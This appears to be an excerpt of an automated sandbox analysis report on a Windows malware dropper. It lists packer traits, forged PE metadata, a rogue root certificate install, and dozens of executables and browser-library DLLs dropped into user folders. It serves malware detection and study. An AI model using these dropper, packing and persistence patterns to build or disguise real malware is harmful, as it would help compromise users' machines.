Source:	Binary string: D:\a\_work\1\s\artifacts\obj\win-x86.Release\corehost\cli\apphost\standalone\Release\apphost.pdb source: A_22rjVO67ooiUk2ueyL6tMl.exe, 0000000E.00000000.2266197457.0000000000532000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: Z:\Development\SecureEngine\src\plugins_manager\internal_plugins\embedded dlls\TlsHelperXBundler\Release\XBundlerTlsHelper.pdb source: 0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000000.2269042041.00000000006CC000.00000080.00000001.01000000.00000013.sdmp
Source:	Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb! source: CHA0VZiz8y.exe, 00000000.00000000.2042780936.0000000140BB1000.00000080.00000001.01000000.00000003.sdmp
Source:	Binary string: $K:\2024-5-11\ZQDS\x64\Release\ZQDS.pdb source: FIxDICT7hSLYFeTzbHHqKZ7Z.exe, 00000012.00000003.2329349408.000001F25CE30000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: MsMpEng.pdb source: FIxDICT7hSLYFeTzbHHqKZ7Z.exe, 00000012.00000003.2329349408.000001F25CE30000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb source: CHA0VZiz8y.exe, 00000000.00000000.2042780936.0000000140BB1000.00000080.00000001.01000000.00000003.sdmp
Source:	Binary string: F:\workspace\_work\1\s\artifacts\obj\win-x64.Release\corehost\cli\apphost\Release\apphost.pdbhhh source: CHA0VZiz8y.exe, 00000000.00000003.2138600045.000000000441E000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2139765657.0000000004420000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2138058247.0000000004B51000.00000004.00000020.00020000.00000000.sdmp, FIxDICT7hSLYFeTzbHHqKZ7Z.exe, 00000012.00000000.2266954848.00007FF762EB9000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: 7U1bGcxK3Lqi_XMHDNEdJrhB.exe, 00000007.00000002.2311839298.0000000002210000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\win-x86.Release\corehost\cli\apphost\standalone\Release\apphost.pdbfffGCTL source: A_22rjVO67ooiUk2ueyL6tMl.exe, 0000000E.00000000.2266197457.0000000000532000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: F:\workspace\_work\1\s\artifacts\obj\win-x64.Release\corehost\cli\apphost\Release\apphost.pdb source: CHA0VZiz8y.exe, 00000000.00000003.2138600045.000000000441E000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2139765657.0000000004420000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2138058247.0000000004B51000.00000004.00000020.00020000.00000000.sdmp, FIxDICT7hSLYFeTzbHHqKZ7Z.exe, 00000012.00000000.2266954848.00007FF762EB9000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: c:\MyProjects\gitlab\ILProtector\ILProtector\Output2010\x64\Release\Protect64.pdb source: A_22rjVO67ooiUk2ueyL6tMl.exe, 0000000E.00000002.2606812448.0000000004141000.00000004.00000800.00020000.00000000.sdmp, A_22rjVO67ooiUk2ueyL6tMl.exe, 0000000E.00000002.2606812448.00000000042CC000.00000004.00000800.00020000.00000000.sdmp, A_22rjVO67ooiUk2ueyL6tMl.exe, 0000000E.00000002.2650479083.00000000056BA000.00000004.08000000.00040000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Unpacked PE file: 27.2.7U1bGcxK3Lqi_XMHDNEdJrhB.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\Turquoise CD Player\turquoisecdplayer.exe	Unpacked PE file: 29.2.turquoisecdplayer.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R;_set_1:EW; vs .text:ER;.rdata:R;.data:W;.vmp0:ER;.rsrc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Unpacked PE file: 27.2.7U1bGcxK3Lqi_XMHDNEdJrhB.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Turquoise CD Player\turquoisecdplayer.exe	Unpacked PE file: 29.2.turquoisecdplayer.exe.400000.0.unpack

Source: xS7PhKcNZTx4FuBAD1RB9kbJ.exe.0.dr

Static PE information: 0xA1298F1A [Mon Sep 6 14:56:26 2055 UTC]

Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe

Code function: 14_2_6895B6C0 GetModuleHandleW,GetModuleHandleW,LoadLibraryW,GetProcAddress,__cftoe,GetModuleHandleW,GetProcAddress,

14_2_6895B6C0

Source: initial sample

Static PE information: section where entry point is pointing to: .themida

Source: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe

File created: C:\Users\user\AppData\Local\Temp\__tmp_rar_sfx_access_check_4854203

Source: MYZqYdU5cUVwEz2j0JYbnTar.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x2ae5ee
Source: setup294[1].exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x2ae5ee
Source: setup[1].exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x748759
Source: _rSi8sV87ppx0bgkbETdFbEZ.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x585c09
Source: J9jGBSSbDD3yrTx79DzmOLls.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x74f42
Source: oiii[1].exe.0.dr	Static PE information: real checksum: 0x43729 should be: 0x44c3b
Source: xS7PhKcNZTx4FuBAD1RB9kbJ.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x14a7b
Source: niko[1].exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x300943
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x300943
Source: o2i3jroi23joj23ikrjokij3oroi[1].exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x209473
Source: crt[1].exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x585c09
Source: zfQlIB6J8n2u_zLV5LHnA1xW.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x209473
Source: g_XGqx6vQcj4WvdQ2CmFiUpM.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x748759
Source: FIxDICT7hSLYFeTzbHHqKZ7Z.exe.0.dr	Static PE information: real checksum: 0x43729 should be: 0x44c3b
Source: ogoGQsWFwF_EcodN5qF7hiVC.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x622de
Source: kat806.tmp.12.dr	Static PE information: real checksum: 0x0 should be: 0xdfa9e

Source: CHA0VZiz8y.exe	Static PE information: section name:
Source: CHA0VZiz8y.exe	Static PE information: section name:
Source: CHA0VZiz8y.exe	Static PE information: section name: .themida
Source: Default15_s[1].exe.0.dr	Static PE information: section name: .vmp
Source: Default15_s[1].exe.0.dr	Static PE information: section name: .vmp
Source: niko[1].exe.0.dr	Static PE information: section name:
Source: niko[1].exe.0.dr	Static PE information: section name:
Source: niko[1].exe.0.dr	Static PE information: section name:
Source: niko[1].exe.0.dr	Static PE information: section name:
Source: niko[1].exe.0.dr	Static PE information: section name:
Source: niko[1].exe.0.dr	Static PE information: section name:
Source: default_s[1].exe.0.dr	Static PE information: section name: .vmp
Source: default_s[1].exe.0.dr	Static PE information: section name: .vmp
Source: _ebPmq_TcwNignYm0bf0ytJM.exe.0.dr	Static PE information: section name: .vmp
Source: _ebPmq_TcwNignYm0bf0ytJM.exe.0.dr	Static PE information: section name: .vmp
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe.0.dr	Static PE information: section name:
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe.0.dr	Static PE information: section name:
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe.0.dr	Static PE information: section name:
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe.0.dr	Static PE information: section name:
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe.0.dr	Static PE information: section name:
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe.0.dr	Static PE information: section name:
Source: ZMyjNtrJZsXoQ4xLeKYzrWJD.exe.0.dr	Static PE information: section name: .vmp
Source: ZMyjNtrJZsXoQ4xLeKYzrWJD.exe.0.dr	Static PE information: section name: .vmp
Source: setup294[1].exe.0.dr	Static PE information: section name: .didat
Source: MYZqYdU5cUVwEz2j0JYbnTar.exe.0.dr	Static PE information: section name: .didat
Source: Retailer_prog[1].exe.0.dr	Static PE information: section name: .vmp
Source: Retailer_prog[1].exe.0.dr	Static PE information: section name: .vmp
Source: Zy329tNpRVznAcNUeSg4uGuQ.exe.0.dr	Static PE information: section name: .vmp
Source: Zy329tNpRVznAcNUeSg4uGuQ.exe.0.dr	Static PE information: section name: .vmp
Source: setup[1].exe.0.dr	Static PE information: section name: .sxdata
Source: g_XGqx6vQcj4WvdQ2CmFiUpM.exe.0.dr	Static PE information: section name: .sxdata
Source: 123p[1].exe.0.dr	Static PE information: section name: .00cfg
Source: 123p[1].exe.0.dr	Static PE information: section name: .text0
Source: 123p[1].exe.0.dr	Static PE information: section name: .text1
Source: 123p[1].exe.0.dr	Static PE information: section name: .text2
Source: RPA18tS89oJgBrOTDKzODMll.exe.0.dr	Static PE information: section name: .00cfg
Source: RPA18tS89oJgBrOTDKzODMll.exe.0.dr	Static PE information: section name: .text0
Source: RPA18tS89oJgBrOTDKzODMll.exe.0.dr	Static PE information: section name: .text1
Source: RPA18tS89oJgBrOTDKzODMll.exe.0.dr	Static PE information: section name: .text2
Source: 0YXJTGaxIrryNdvx7SKozTjt.exe.0.dr	Static PE information: section name:
Source: 0YXJTGaxIrryNdvx7SKozTjt.exe.0.dr	Static PE information: section name:
Source: 0YXJTGaxIrryNdvx7SKozTjt.exe.0.dr	Static PE information: section name:
Source: 0YXJTGaxIrryNdvx7SKozTjt.exe.0.dr	Static PE information: section name:
Source: 0YXJTGaxIrryNdvx7SKozTjt.exe.0.dr	Static PE information: section name: .themida

Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_00411ABC push eax; ret	7_2_00411ADA
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_00404F15 push ecx; ret	7_2_00404F28
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_021730AF push ecx; retf	7_2_021730B2
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_02238F05 push ecx; ret	7_2_02238F18
Source: C:\Users\user\Documents\SimpleAdobe\ogoGQsWFwF_EcodN5qF7hiVC.exe	Code function: 9_2_00454A56 push ecx; ret	9_2_00454A69
Source: C:\Users\user\Documents\SimpleAdobe\J9jGBSSbDD3yrTx79DzmOLls.exe	Code function: 11_2_00AA4A56 push ecx; ret	11_2_00AA4A69
Source: C:\Users\user\Documents\SimpleAdobe\zfQlIB6J8n2u_zLV5LHnA1xW.exe	Code function: 12_2_0431B010 push edx; ret	12_2_0431B21F
Source: C:\Users\user\Documents\SimpleAdobe\zfQlIB6J8n2u_zLV5LHnA1xW.exe	Code function: 12_2_0431A910 push edx; ret	12_2_0431A91B
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_689ACC2B push ecx; ret	14_2_689ACC3E
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_689AD565 push ecx; ret	14_2_689AD578
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_689C369E push 689C8A44h; ret	14_2_689C36A6
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_689C3693 push 689C8A44h; ret	14_2_689C369B
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_689C3688 push 689C8A44h; ret	14_2_689C3690
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_02A2AD18 push eax; mov dword ptr [esp], ecx	14_2_02A2AD19
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_0526890F push dword ptr [esp+ecx*2-75h]; ret	14_2_05268913

Source: CHA0VZiz8y.exe	Static PE information: section name: entropy: 7.284719044401107
Source: niko[1].exe.0.dr	Static PE information: section name: entropy: 7.999545205723714
Source: niko[1].exe.0.dr	Static PE information: section name: entropy: 7.996427300575862
Source: niko[1].exe.0.dr	Static PE information: section name: entropy: 7.810128477231601
Source: niko[1].exe.0.dr	Static PE information: section name: entropy: 7.968945161428635
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe.0.dr	Static PE information: section name: entropy: 7.999545205723714
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe.0.dr	Static PE information: section name: entropy: 7.996427300575862
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe.0.dr	Static PE information: section name: entropy: 7.810128477231601
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe.0.dr	Static PE information: section name: entropy: 7.968945161428635

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	File created: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Jump to dropped file
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	File created: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	File created: C:\Users\user\Documents\SimpleAdobe\J9jGBSSbDD3yrTx79DzmOLls.exe	Jump to dropped file
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	File created: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Jump to dropped file
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	File created: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Jump to dropped file
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	File created: C:\Users\user\Documents\SimpleAdobe\ogoGQsWFwF_EcodN5qF7hiVC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	File created: C:\Users\user\Documents\SimpleAdobe\_rSi8sV87ppx0bgkbETdFbEZ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	File created: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Jump to dropped file
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	File created: C:\Users\user\Documents\SimpleAdobe\zfQlIB6J8n2u_zLV5LHnA1xW.exe	Jump to dropped file
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	File created: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe	Jump to dropped file
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	File created: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Jump to dropped file
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	File created: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Jump to dropped file
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	File created: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	Jump to dropped file
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	File created: C:\Users\user\Documents\SimpleAdobe\RPA18tS89oJgBrOTDKzODMll.exe	Jump to dropped file
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	File created: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	File created: C:\Users\user\Documents\SimpleAdobe\FIxDICT7hSLYFeTzbHHqKZ7Z.exe	Jump to dropped file
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	File created: C:\Users\user\Documents\SimpleAdobe\g_XGqx6vQcj4WvdQ2CmFiUpM.exe	Jump to dropped file

Installs new ROOT certificates

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064 Blob

Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	File created: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	File created: C:\Users\user\AppData\Local\Turquoise CD Player\is-E4QTE.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\123p[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	File created: C:\Users\user\AppData\Local\Turquoise CD Player\libcurl.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	File created: C:\Users\user\AppData\Local\Turquoise CD Player\msvcr120.dll (copy)	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	File created: C:\Users\user\AppData\Local\Turquoise CD Player\QtAVWidgets1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	File created: C:\Users\user\AppData\Local\Turquoise CD Player\openh264.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	File created: C:\Users\user\AppData\Local\Turquoise CD Player\is-HB2OO.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	File created: C:\Users\user\AppData\Local\Turquoise CD Player\Qt5OpenGL.dll (copy)	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	File created: C:\Users\user\Documents\SimpleAdobe\zfQlIB6J8n2u_zLV5LHnA1xW.exe	Jump to dropped file
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	File created: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	File created: C:\ProgramData\MPGPH131\MPGPH131.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	File created: C:\Users\user\AppData\Local\Turquoise CD Player\is-5LVFF.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	File created: C:\Users\user\AppData\Local\Turquoise CD Player\Qt5Xml.dll (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	File created: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	File created: C:\Users\user\Documents\SimpleAdobe\FIxDICT7hSLYFeTzbHHqKZ7Z.exe	Jump to dropped file
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\o2i3jroi23joj23ikrjokij3oroi[1].exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\setup[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	File created: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	File created: C:\Users\user\Documents\SimpleAdobe\J9jGBSSbDD3yrTx79DzmOLls.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	File created: C:\Users\user\AppData\Local\Turquoise CD Player\is-JVAO2.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	File created: C:\Users\user\AppData\Local\Turquoise CD Player\msvcp140_1.dll (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	File created: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	File created: C:\Users\user\AppData\Local\Turquoise CD Player\is-CKPLA.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	File created: C:\Users\user\AppData\Local\Turquoise CD Player\turquoisecdplayer.exe	Jump to dropped file
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	File created: C:\Users\user\Documents\SimpleAdobe\ogoGQsWFwF_EcodN5qF7hiVC.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\g_XGqx6vQcj4WvdQ2CmFiUpM.exe	File created: C:\Users\user\AppData\Local\Temp\7zSFB35.tmp\Install.exe	Jump to dropped file
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\Default15_s[1].exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	File created: C:\Users\user\AppData\Local\Temp\Protect544cd51a.dll	Jump to dropped file
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	File created: C:\Users\user\Documents\SimpleAdobe\_rSi8sV87ppx0bgkbETdFbEZ.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	File created: C:\Users\user\AppData\Local\Turquoise CD Player\msvcp140.dll (copy)	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\sqls[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Turquoise CD Player\turquoisecdplayer.exe	File created: C:\ProgramData\JANA timezone 2.12.66\JANA timezone 2.12.66.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	File created: C:\Users\user\AppData\Local\Turquoise CD Player\is-9ULQD.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\niko[1].exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	File created: C:\Users\user\AppData\Local\cd606818-a84b-463e-828b-b93214ba547c\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	File created: C:\Users\user\AppData\Local\Turquoise CD Player\msvcp120.dll (copy)	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\setup294[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	File created: C:\Users\user\AppData\Local\Temp\is-MGI15.tmp\_isetup\_RegDLL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	File created: C:\Users\user\AppData\Local\Turquoise CD Player\is-FS8TN.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	File created: C:\Users\user\AppData\Local\Turquoise CD Player\libmp3lame.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	File created: C:\Users\user\AppData\Local\Turquoise CD Player\is-F6JQ6.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	File created: C:\Users\user\AppData\Local\Turquoise CD Player\is-46IH9.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	File created: C:\Users\user\AppData\Local\Turquoise CD Player\avdevice-58.dll (copy)	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	File created: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	File created: C:\Users\user\AppData\Local\Turquoise CD Player\is-U2S42.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	File created: C:\Users\user\AppData\Local\Turquoise CD Player\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\_rSi8sV87ppx0bgkbETdFbEZ.exe	File created: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\crt[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	File created: C:\Users\user\AppData\Local\Turquoise CD Player\is-99KJO.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7zSFB35.tmp\Install.exe	File created: C:\Users\user\AppData\Local\Temp\7zSD75.tmp\Install.exe	Jump to dropped file
